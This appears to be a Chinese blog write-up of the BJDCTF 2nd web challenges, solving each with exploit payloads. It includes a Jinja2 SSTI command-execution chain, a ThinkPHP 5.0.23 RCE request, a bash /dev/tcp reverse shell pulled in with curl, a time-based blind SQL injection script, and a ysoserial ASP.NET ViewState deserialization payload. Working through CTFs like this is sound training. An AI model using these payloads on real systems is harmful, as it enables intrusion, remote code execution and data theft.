BJDCTF 2nd WEB
BJDCTF 2nd WEB
emmm，比赛做了几道题，赛后官方给了wp，把没做出来的复现一下，，，，
[BJDCTF 2nd]fake google
一个SSTI，发现是jinja2的，直接用payload打就行：
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()") }}
{% endif %}
{% endfor %}
get:
[BJDCTF 2nd]old-hack
可以看见有提示thinkphp5，直接用5.0的payload打，会提示有错误
但是可以看见版本：thinkphp 5.0.23，那用 5.0.23payload就行了
payload：
POST /?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag&method=get
get:
[BJDCTF 2nd]duangShell
题目进去有提示.swp，下载备份文件.index.php.swp，下载下来使用命令：vim -r .index.php.swp恢复
得到源码：
give me a girl
珍爱网
";
} else {
//duangShell~~~~
exec($girl);
}
}
可以看见这里过滤了很多东西，写shell是不可能了，只能反弹shell和duang是不是有差不多的意思
可以使用curl这个命令，由于不能访问外网我们需开一台内网虚拟机，注册个小号，，，
在虚拟机的/var/www/html中创建一个文件：shell.txt
写入：bash -i >& /dev/tcp/[ip]/[port] 0>&1
然后去命令执行：
成功反弹shell，根目录下是假的，查找flag：
得到flag:
[BJDCTF 2nd]简单注入
看样子就是注入，应该要我们注出密码
先跑一下过滤了啥，发现and、&&、like、=、select、；、引号和双引号等过滤了很多
看到select被过滤了，应该是盲注，猜测存在password表
由于引号被过滤，所以我们可以使得username=admin\&password=or 1#
发现回显不同，，，，，
不过我使用的是时间盲注，脚本：
import requests
import sys
import string
import io
import time
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改变标准输出的默认编码,否则s.text不能输出
flag = ""
x = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
url = "http://4c5924a8-6e62-42fb-afad-e83fd4986c79.node3.buuoj.cn/"
payload={
"username":"admin\\",
"password":""
}
start_time = time.time()
#r=requests.post(url=url,data=payload)
#if(time.time() - start_time > 4):
#print("yes")
#print(r.text)
for i in range(1,33):
for j in range(32,126):
payload['password'] = "or if(ascii(substr(password,%s,1))>%s,sleep(2),1)#"%(str(i),j)
#print(payload)
start_time = time.time()
r = requests.post(url=url,data=payload)
if(time.time() - start_time < 2):
flag += chr(j)
print(flag)
break
可以得到密码，登陆拿到flag:
[BJDCTF 2nd]假猪套天下第一
这个题应该算是简单的吧，发现页面存在hint：
访问发现：
抓包看见cookie中存在time，修改成大一些的：
只允许本地访问，发现XFF不行，官方放出的hint是含X的都不行，，，，事实证明官方hint有问题
Client-IP: 127.0.0.1和X-Real-IP: 127.0.0.1都行：
增加referer:gem-love.com
得到：
修改UA:
根据hint，搜索一波，可以得到commodo 64全称Commodore 64，修改得到:
添加：from: [email protected]，得到：
添加：via: y1ng.vip，得到：
发现base64字符串，进行解密，拿到flag：
[BJDCTF 2nd]Schrödinger
有个白色字体的hint：
进行访问：
登陆页面，没发现啥东西，返回到原来网页发现是个爆破登陆的
输入：http://a50183b8-4db6-4c7f-8053-8ce20bd9c135.node3.buuoj.cn/test.php
发现爆破很慢，抓包查看发现有个cookie是base64加密：
进行解密：
很像时间戳，直接清空看看效果，发现直接99%，点击check，，，
根据官方hint，B站，，，，，av号，，看评论拿到flag，脑洞大开，，，，，:
[BJDCTF 2nd]xss之光
一进入页面就是gungungun，，，，，查看敏感目录，，发现存在git泄露
直接down下源码：
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
如此简单的源码如何进行xss？？？？
反序列化是不可能的，，，一个类都没有，只能对原生类进行反序列化，，，
结合题目名字，原生类的xss，，，搜索了一波~~
有__call和__toString，这里有个echo，应该是包含__toString的，那我们可以使用Error和Exception类
直接用Exception，因为Error只适用于php7，，，
先试一试：
$a = serialize(new Exception(""));
echo urlencode($a);
?>
然后再返回来的cookie中就看见了flag，，，，，，，，，
都不用开内网虚拟机的嘛，，，，，:
[BJDCTF 2nd]elementmaster
这道题目可谓是脑洞大开了，，，，，
进去是一张图片，查看源码，id有古怪：
16进制解码得到：Po.php
访问啥都没有，根据放出的hint，说与元素周期表有关，，，，
看文件名就是元素名，所以要遍历元素周期表，，，，（自闭，这谁想得到）
脚本：
import requests
import sys
import string
import io
import time
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改变标准输出的默认编码,否则s.text不能输出
flag = ""
url = "http://a1a59511-3d71-49ce-80d7-55c3ae072645.node3.buuoj.cn/%s.php"
f = open("1.txt",'r').read().split('\n')
#print(f)
for i in f:
urls = url%(i)
#print(urls)
r = requests.get(urls)
if r.status_code == 200:
print(r.text,end="")
得到：
访问：
同样的脑洞大开题，，，，，，
[BJDCTF 2nd]文件探测
花里胡哨的页面，，，，查看源码：
什么东西，，，，与第一届BJDCTF有关？？？无果
直接抓包，发现hint：
访问：
怀疑还有别的文件，，，最后发现admin.php
看官方hint是SSRF，，，，猜也是ssrf，，返回，看见：
尝试是否存在文件包含，，，，读取system.php的源码：
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "";
header("Refresh:0.1;url=index.php");
die;
}
$str2 = ' Error: url invalid
~$ ';
$str3 = ' Error: damn hacker!
~$ ';
$str4 = ' Error: request method error
~$ ';
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>File Detector</title>
<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/demo.css" />
<link rel="stylesheet" type="text/css" href="css/component.css" />
<script src="js/modernizr.custom.js"></script>
</head>
<body>
<section>
<form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
<div class="simform-inner">
<span><p><center>File Detector</center></p></span>
<ol class="questions">
<li>
<span><label for="q1">ä½ çŸ¥é“目录下都有什么文件å—?</label></span>
<input id="q1" name="q1" type="text"/>
</li>
<li>
<span><label for="q2">请输å
¥ä½ 想检测文件å†
容长度的url</label></span>
<input id="q2" name="q2" type="text"/>
</li>
<li>
<span><label for="q1">ä½ å¸Œæœ›ä»¥ä½•ç§æ–¹å¼è®¿é—®ï¼ŸGET？POST?</label></span>
<input id="q3" name="q3" type="text"/>
</li>
</ol>
<button class="submit" type="submit" value="submit">æ交</button>
<div class="controls">
<button class="next"></button>
<div class="progress"></div>
<span class="number">
<span class="number-current"></span>
<span class="number-total"></span>
</span>
<span class="error-message"></span>
</div>
</div>
<span class="final-message"></span>
</form>
<span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore
";
}
无法读取admin.php内容：
system.php代码审计：
与极客大挑战中的SSRF差不多的方法读取文件内容，，，，
直接进行构造，q1=a&q2=http://127.0.0.1/admin.php?x=1&q3=GET%s%
得到admin.php源码：
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "403 Forbidden
only 127.0.0.1 can access! You know what I mean right?
your ip address is "分析一波：
根据分析，写解密脚本：
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5('174.0.222.75', true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
$cipher = aesEn('', 'y1ng');
echo urlencode($cipher);
?>
得到flag：
[BJDCTF 2nd]EasyAspDotNet
这应该是个重头戏吧，，，，进入页面发现：
怀疑存在文件包含，而且hint是web.config所以尝试读取，发现没有显示，是图片的样式，，，
无法另存为，，，，使用curl，，，得到源码：
xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES" />
</system.web>
</configuration>
讲真，到这里我真不知道该如何了，，，，
看师傅博客上的两篇文章：
如何借助ViewState在ASP.NET中实现反序列化漏洞利用
玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門
根据web.config，我们可以得知validationKey，这样我们就可以自己算__VIEWSTATE了
收集：
validationkey、validationalg、generator
直接利用payload：
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9
得到：
/wEy7EoAAQAAAP////8BAAAAAAAAAAwCAAAATlN5c3RlbS5EYXRhLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQUBAAAAE1N5c3RlbS5EYXRhLkRhdGFTZXQKAAAAFkRhdGFTZXQuUmVtb3RpbmdGb3JtYXQTRGF0YVNldC5EYXRhU2V0TmFtZRFEYXRhU2V0Lk5hbWVzcGFjZQ5EYXRhU2V0LlByZWZpeBVEYXRhU2V0LkNhc2VTZW5zaXRpdmUSRGF0YVNldC5Mb2NhbGVMQ0lEGkRhdGFTZXQuRW5mb3JjZUNvbnN0cmFpbnRzGkRhdGFTZXQuRXh0ZW5kZWRQcm9wZXJ0aWVzFERhdGFTZXQuVGFibGVzLkNvdW50EERhdGFTZXQuVGFibGVzXzAEAQEBAAAAAgAHH1N5c3RlbS5EYXRhLlNlcmlhbGl6YXRpb25Gb3JtYXQCAAAAAQgBCAICAAAABf3///8fU3lzdGVtLkRhdGEuU2VyaWFsaXphdGlvbkZvcm1hdAEAAAAHdmFsdWVfXwAIAgAAAAEAAAAGBAAAAAAJBAAAAAkEAAAAAAkEAAAACgEAAAAJBQAAAA8FAAAAfCMAAAIAAQAAAP////8BAAAAAAAAAAQBAAAAf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLk9iamVjdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgUAAAgICQIAAAAHAAAABwAAABACAAAACAAAAAkDAAAACQQAAAAJBQAAAAkGAAAACQcAAAAJCAAAAAkJAAAACgwKAAAAYVN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbCwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAwAAAGpTeXN0ZW0uV29ya2Zsb3cuQ29tcG9uZW50TW9kZWwuU2VyaWFsaXphdGlvbi5BY3Rpdml0eVN1cnJvZ2F0ZVNlbGVjdG9yK09iamVjdFN1cnJvZ2F0ZStPYmplY3RTZXJpYWxpemVkUmVmAgAAAAR0eXBlC21lbWJlckRhdGFzAwUfU3lzdGVtLlVuaXR5U2VyaWFsaXphdGlvbkhvbGRlcgoAAAAJCwAAAAkMAAAAAQQAAAADAAAACQ0AAAAJDgAAAAEFAAAAAwAAAAkPAAAACRAAAAABBgAAAAMAAAAJEQAAAAkSAAAAAQcAAAADAAAACRMAAAAJFAAAAAEIAAAAAwAAAAkVAAAACRYAAAAECQAAABxTeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlBwAAAApMb2FkRmFjdG9yB1ZlcnNpb24IQ29tcGFyZXIQSGFzaENvZGVQcm92aWRlcghIYXNoU2l6ZQRLZXlzBlZhbHVlcwAAAwMABQULCBxTeXN0ZW0uQ29sbGVjdGlvbnMuSUNvbXBhcmVyJFN5c3RlbS5Db2xsZWN0aW9ucy5JSGFzaENvZGVQcm92aWRlcgjsUTg/AgAAAAoKAwAAAAkXAAAACRgAAAAECwAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBhkAAAD4AVN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RMaXN0SXRlcmF0b3JgMltbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAYaAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAMAAAABwAAAAkbAAAACgkcAAAACR0AAAAICAAAAAAKCAgBAAAAAQ0AAAALAAAABh4AAAD4AVN5c3RlbS5MaW5xLkVudW1lcmFibGUrPFNlbGVjdE1hbnlJdGVyYXRvcj5kX18xN2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkaAAAAEA4AAAAJAAAACAj+////CggIAQAAAAoJAwAAAAoJIQAAAA0CAQ8AAAALAAAABiIAAADvAVN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkaAAAAEBAAAAAHAAAACQQAAAAKCSUAAAAKCAgAAAAACggIAQAAAAERAAAACwAAAAYmAAAAKVN5c3RlbS5XZWIuVUkuV2ViQ29udHJvbHMuUGFnZWREYXRhU291cmNlBAAAAAYnAAAATVN5c3RlbS5XZWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhEBIAAAAHAAAACQUAAAAICAAAAAAICAoAAAAIAQAIAQAIAQAICAAAAAABEwAAAAsAAAAGKQAAAClTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduLkRlc2lnbmVyVmVyYgQAAAAGKgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EBQAAAAFAAAADQIJKwAAAAgIAwAAAAkIAAAAARUAAAALAAAABi0AAAA0U3lzdGVtLlJ1bnRpbWUuUmVtb3RpbmcuQ2hhbm5lbHMuQWdncmVnYXRlRGljdGlvbmFyeQQAAAAGLgAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkQFgAAAAEAAAAJBgAAABAXAAAAAgAAAAkHAAAACQcAAAAQGAAAAAIAAAAGMQAAAAAJMQAAAAQbAAAAf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgMAAA9TeXN0ZW0uQnl0ZVtdW10ICAkyAAAAAQAAAAEAAAAEHAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCTMAAAAJNAAAAAQdAAAAigFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDErRW51bWVyYXRvcltbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAABGxpc3QFaW5kZXgHdmVyc2lvbgdjdXJyZW50AwAAB39TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCAgCCgAAAAAAAAAACgEhAAAAHAAAAAk1AAAACTYAAAABJQAAABwAAAAJNwAAAAk4AAAAASsAAAADAAAACTkAAAAJOgAAAAcyAAAAAQEAAAAEAAAABwIJOwAAAAoKCgQzAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdh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经过url编码之后传入，getflag：
写到最后：
题目总的来说是不难的，但是自己为什么没有做出几道题目来呢
首先，自己的思路没有拓宽，想的不全面，没有注重细节，其次知识点还是不够，有所欠缺
还有就是比赛过程中没有认真去做题，抱着可做可不做的心态，一看这道题目有点困难就放弃
完全不去想怎么去做，看来还是在家太闲，太懒，完全没有自律，，，，